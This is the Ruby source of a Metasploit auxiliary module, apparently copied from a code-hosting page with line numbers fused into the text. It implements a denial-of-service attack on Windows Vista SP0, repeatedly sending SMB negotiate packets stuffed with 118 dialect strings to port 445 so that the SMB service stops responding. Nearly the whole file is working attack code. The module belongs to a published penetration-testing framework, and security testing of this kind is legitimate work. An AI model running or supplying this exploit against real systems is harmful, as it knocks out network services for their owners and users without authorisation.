Path: blob/master/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Auxiliary7include Msf::Exploit::Remote::Tcp8include Msf::Auxiliary::Dos910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Microsoft Vista SP0 SMB Negotiate Protocol DoS',15'Description' => %q{16This module exploits a flaw in Windows Vista that allows a remote17unauthenticated attacker to disable the SMB service. This vulnerability18was silently fixed in Microsoft Vista Service Pack 1.19},2021'Author' => [ 'hdm' ],22'License' => MSF_LICENSE,23'References' => [24[ 'OSVDB', '64341'],25],26'Notes' => {27'Stability' => [CRASH_SERVICE_DOWN],28'SideEffects' => [],29'Reliability' => []30}31)32)3334register_options([Opt::RPORT(445)])35end3637def run38print_status('Sending 100 negotiate requests...')3940# 100 requests ensure that the bug is reliably hit411.upto(100) do |i|42connect4344# 118 dialects are needed to trigger a non-response45dialects = ['NT LM 0.12'] * 1184647data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')4849pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct50pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE51pkt['Payload']['SMB'].v['Flags1'] = 0x1852pkt['Payload']['SMB'].v['Flags2'] = 0xc85353pkt['Payload'].v['Payload'] = data54pkt['Payload']['SMB'].v['ProcessID'] = rand(0x10000)55pkt['Payload']['SMB'].v['MultiplexID'] = rand(0x10000)5657sock.put(pkt.to_s)5859disconnect60rescue ::Interrupt61raise $ERROR_INFO62rescue StandardError63print_error("Error at iteration #{i}: #{$ERROR_INFO.class} #{$ERROR_INFO}")64break65end66end67end686970